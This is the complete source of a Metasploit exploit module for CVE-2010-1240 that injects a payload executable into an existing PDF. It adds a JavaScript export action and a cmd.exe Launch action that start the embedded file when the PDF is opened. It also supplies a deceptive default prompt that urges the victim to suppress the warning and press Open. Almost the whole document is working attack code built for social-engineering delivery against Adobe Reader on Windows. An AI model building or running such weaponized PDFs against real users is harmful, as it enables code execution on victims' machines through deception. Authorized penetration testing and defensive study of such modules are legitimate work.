Adobe PDF Embedded EXE Social Engineering

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::PDF_Parse
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'	=> 'Adobe PDF Embedded EXE Social Engineering',
        'Description' => %q{
          This module embeds a Metasploit payload into an existing PDF file. The
          resulting PDF can be sent to a target as part of a social engineering attack.
        },
        'License'	=> MSF_LICENSE,
        'Author' => [
          'Colin Ames <amesc[at]attackresearch.com>', # initial module
          'jduck' # add Documents for vista/win7/win10
        ],
        'References' => [
          [ 'CVE', '2010-1240' ],
          [ 'OSVDB', '63667' ],
          [ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],
          [ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],
          [ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ],
          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-15.html' ]
        ],
        'DisclosureDate' => '2010-03-29',
        'Payload' => {
          'Space' => 4096,
          'DisableNops' => true
        },
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Platform'	=> 'win',
        'Targets' => [
          [ 'Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7/10 (English)', { 'Ret' => '' } ]
        ],
        'DefaultTarget'	=> 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [
            ARTIFACTS_ON_DISK, # the EXE is transferred to disk to be executed
            SCREEN_EFFECTS # a message is shown to the user, see: LAUNCH_MESSAGE
          ]
        }
      )
    )

    register_options(
      [
        OptPath.new('INFILENAME', [ true, 'The Input PDF filename.', ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2010-1240', 'template.pdf') ]),
        OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
        OptString.new('LAUNCH_MESSAGE', [
          false, 'The message to display in the File: area',
          'To view the encrypted content please check the "Do not show this message again" box and press Open.'
        ]),
      ]
    )
  end

  def exploit
    file_name = datastore['INFILENAME']

    print_status("Reading in '#{file_name}'...")
    stream = read_pdf

    begin
      print_status("Parsing '#{file_name}'...")
      pdf_objects = parse_pdf(stream)
      xref_trailers = pdf_objects[0]
      trailers = pdf_objects[1]
      startxrefs = pdf_objects[2]
      root_obj = pdf_objects[3]

      output = basic_social_engineering_exploit({
        xref_trailers: xref_trailers,
        root_obj: root_obj,
        stream: stream,
        trailers: trailers,
        file_name: file_name,
        startxref: startxrefs.last
      })

      print_good("Parsing Successful. Creating '#{datastore['FILENAME']}' file...")
      file_create(output)
    rescue KeyError => e
      # Lazy fix:
      # Similar to the problem with NoMethod -- something we need is missing in the PDF.
      # But really what happens is the module trusts the PDF too much.

      # Don't be sorry, you're a beautiful human we all appreciate greatly
      print_error("Sorry, I'm picky. Incompatible PDF structure. Please try a different PDF template.")
      elog('Sorry, I\'m picky. Incompatible PDF structure', error: e)
    rescue NoMethodError => e
      # Lazy fix:
      # When a NoMethod error is hit, that means that something in the PDF is actually missing,
      # so we can't parse it. If we can't parse it properly, then we can't garantee the exploit
      # will work, either.  So we might as well just reject it.
      print_error("Sorry, I'm picky. Incompatible PDF structure, please try a different PDF template.")
      elog('Sorry, I\'m picky. Incompatible PDF structure', error: e)
    end
  end

  def ef_payload(pdf_name, obj_num)
    print_status("Using '#{datastore['PAYLOAD']}' as payload...")

    payload_exe = generate_payload_exe
    file_size = payload_exe.length
    stream = Rex::Text.zlib_deflate(payload_exe)
    md5 = Rex::Text.md5(stream)

    output = String.new

    output << "#{obj_num.to_i + 1} 0 obj\r<</UF(#{pdf_name}.pdf)/F(#{pdf_name}.pdf)/EF<</F #{obj_num.to_i + 2} 0 R>>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r"
    output << "#{obj_num.to_i + 2} 0 obj\r<</Subtype/application#2Fpdf/Length #{stream.length + 3}/Filter/FlateDecode/DL #{file_size}/Params<</Size #{file_size}/CheckSum<#{md5.upcase}>>>>>"
    output << "stream\r#{stream}\r\nendstream\rendobj\r"

    return output
  end

  def js_payload(pdf_name, obj_num)
    output = String.new
    output << "#{obj_num.to_i + 3} 0 obj\r<</S/JavaScript/JS(this.exportDataObject({ cName: \"#{pdf_name}\", nLaunch: 0 });)/Type/Action>>\rendobj\r"
    output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C "

    # change to the home drive/path no matter what
    output << '%HOMEDRIVE%&cd %HOMEPATH%'

    # check for the pdf in these dirs, in this order..
    dirs = [ 'Desktop', 'My Documents', 'Documents', 'Escritorio', 'Mis Documentos' ]
    dirs.each do |dir|
      fmt = '&' \
            '(' \
            'if exist "%s" ' \
            '(cd "%s")' \
            ')'
      fname = "%s\\\\#{pdf_name}.pdf" % dir
      output << fmt % [fname, dir]
    end
    launch_message = datastore['LAUNCH_MESSAGE']
    lines = []
    launch_message.gsub(/.{1,80}(?:\s|\Z)/) { lines << ::Regexp.last_match(0) }
    if (lines.length > 2)
      print_warning('Warning: the LAUNCH_MESSAGE is more than 2 lines. It may not display correctly.')
    end

    output << '&' +
              # NOTE: the following doesn't work with spaces, and adding quotes doesn't execute the payload :-/
              "(start #{pdf_name}.pdf)" +
              # NOTE: The below message modifies the text in the "File:" textfield of the "Launch File" dialog
              ("\n" * 10) +
              launch_message +
              # NOTE: this extra rparen is required.
              ')' \
              ">>>>\rendobj\r"

    return output
  end

  def basic_social_engineering_exploit(opts = {})
    xref_trailers = opts[:xref_trailers]
    root_obj = opts[:root_obj]
    stream = opts[:stream]
    trailers = opts[:trailers]
    file_name = opts[:file_name]
    startxref = opts[:startxref]

    file_name = file_name.split(%r{/}).pop.to_s

    match = file_name.match(/(.+)\.pdf/)
    if match
      pdf_name = match[1]
    end

    catalog = parse_object(xref_trailers, root_obj, stream)

    match = catalog.match(/Names (\d+ \d) R/m)
    if match

      names = parse_object(xref_trailers, match[1], stream)
      match = names.match(/EmbeddedFiles (\d+ \d) R/m)
      if match
        embedded_files = parse_object(xref_trailers, match[1], stream)
        new_embedded_files = embedded_files.gsub(/(\]>>)/m, "(\xfe\xff#{Rex::Text.to_unicode(pdf_name, 'utf-16be')})#{trailers[0].fetch('Size')} 0 R" + '\1')
      else
        new_names = names.gsub(/(>>.*)/m, "/EmbeddedFiles #{trailers[0].fetch('Size')} 0 R" + '\1')
      end

    else
      new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/Names #{trailers[0].fetch('Size')} 0 R")
    end

    if catalog.match(/OpenAction/m)

      match = catalog.match(/OpenAction (\d+ \d) R/m)
      if match

        if new_catalog
          if new_embedded_files
            new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R")
          elsif new_names
            new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
          else
            new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")
          end
        elsif new_embedded_files
          new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R")
        elsif new_names
          new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
        else
          new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")

        end
      elsif new_catalog
        new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")
      else
        new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
      end
    elsif new_catalog
      if new_embedded_files
        new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R")
      elsif new_names
        new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
      else
        new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")
      end

    elsif new_embedded_files
      new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 2} 0 R")
    elsif new_names
      new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 3} 0 R")
    else
      new_catalog = catalog.gsub(/(Pages \d+ \d R)/m, '\1' + "/OpenAction #{trailers[0].fetch('Size').to_i + 4} 0 R")
    end

    pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1]
    pages = parse_object(xref_trailers, pages_obj, stream)

    page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1]
    page = parse_object(xref_trailers, page_obj, stream)

    match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
    while match

      page_obj = match[1]
      page = parse_object(xref_trailers, page_obj, stream)
      match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
    end

    match = page.match(%r{AA<</O (\d+ \d) R}m)
    if match
      aa = parse_object(xref_trailers, match[1], stream)
    end

    new_pdf = String.new
    xrefs = String.new

    pdf_payload = String.new
    if new_embedded_files
      num = trailers[0].fetch('Size').to_i - 1
      pdf_payload << ef_payload(pdf_name, num)
      pdf_payload << js_payload(pdf_name, num)
      new_pdf << stream << pdf_payload

      xrefs = xref_create(new_pdf, stream.length, '*')

      new_size = trailers[0].fetch('Size').to_i + 4

      if aa
        new_page = page.gsub(%r{(AA<</O )\d+ \d R(.*)}m, '\1' + "#{trailers[0].fetch('Size').to_i + 3} 0" + '\2')
      else
        new_page = page.gsub(/(>> *\r?\n? *endobj)/m, "/AA<<\/O #{trailers[0].fetch('Size').to_i + 3} 0 R>>" + '\1')
      end

      new_pdf << new_catalog
      xrefs << xref_create(new_pdf, (new_pdf.length - new_catalog.length), '1')

      new_pdf << new_page
      xrefs << xref_create(new_pdf, (new_pdf.length - new_page.length), '1')

      new_pdf << new_embedded_files
      xrefs << xref_create(new_pdf, (new_pdf.length - new_embedded_files.length), '1')

      if trailers[0].key?('ID')
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R/ID#{trailers[0].fetch('ID')}>>\r\n"
      else
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R>>\r\n"
      end

      new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"

    elsif new_names
      num = trailers[0].fetch('Size').to_i
      pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name, 'utf-16be')})#{num + 1} 0 R]>>\rendobj\r"
      pdf_payload << ef_payload(pdf_name, num)
      pdf_payload << js_payload(pdf_name, num)
      new_pdf << stream << pdf_payload

      xrefs = xref_create(new_pdf, stream.length, '*')

      new_size = trailers[0].fetch('Size').to_i + 5

      if aa
        new_page = page.gsub(%r{(AA<</O )\d+ \d(.*)}m, '\1' + "#{trailers[0].fetch('Size').to_i + 4} 0" + '\2')
      else
        new_page = page.gsub(/(>> *\r?\n? *endobj)/m, "/AA<<\/O #{trailers[0].fetch('Size').to_i + 4} 0 R>>" + '\1')
      end

      new_pdf << new_catalog
      xrefs << xref_create(new_pdf, (new_pdf.length - new_catalog.length), '1')

      new_pdf << new_page
      xrefs << xref_create(new_pdf, (new_pdf.length - new_page.length), '1')

      new_pdf << new_names
      xrefs << xref_create(new_pdf, (new_pdf.length - new_names.length), '1')

      if trailers[0].key?('ID')
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R/ID#{trailers[0].fetch('ID')}>>\r\n"
      else
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R>>\r\n"
      end

      new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"

    else
      num = trailers[0].fetch('Size').to_i + 1
      pdf_payload << "#{trailers[0].fetch('Size')} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"
      pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"
      pdf_payload << ef_payload(pdf_name, num)
      pdf_payload << js_payload(pdf_name, num)
      new_pdf << stream << pdf_payload
      xrefs = xref_create(new_pdf, stream.length, '*')

      new_size = trailers[0].fetch('Size').to_i + 6

      if aa
        new_page = page.gsub(%r{(AA<</O )\d+ \d(.*)}m, '\1' + "#{trailers[0].fetch('Size').to_i + 5} 0" + '\2')
      else
        new_page = page.gsub(/(>> *\r?\n? *endobj)/m, "/AA<<\/O #{trailers[0].fetch('Size').to_i + 5} 0 R>>" + '\1')
      end

      new_pdf << new_catalog
      xrefs << xref_create(new_pdf, (new_pdf.length - new_catalog.length), '1')

      new_pdf << new_page
      xrefs << xref_create(new_pdf, (new_pdf.length - new_page.length), '1')

      if trailers[0].key?('ID')
        new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch('Root')} R/Info #{trailers[0].fetch('Info')} R/ID#{trailers[0].fetch('ID')}>>\r\n"
      else
        new_pdf << "xref\r\n" << xrefs
        new_pdf << "trailer\r\n"
        new_pdf << "<</Size #{new_size}/Prev #{startxref}"
        new_pdf << "/Root #{trailers[0].fetch('Root')} R"
        new_pdf << "/Info #{trailers[0].fetch('Info')} R>>\r\n"
      end

      new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"

    end

    return new_pdf
  end
end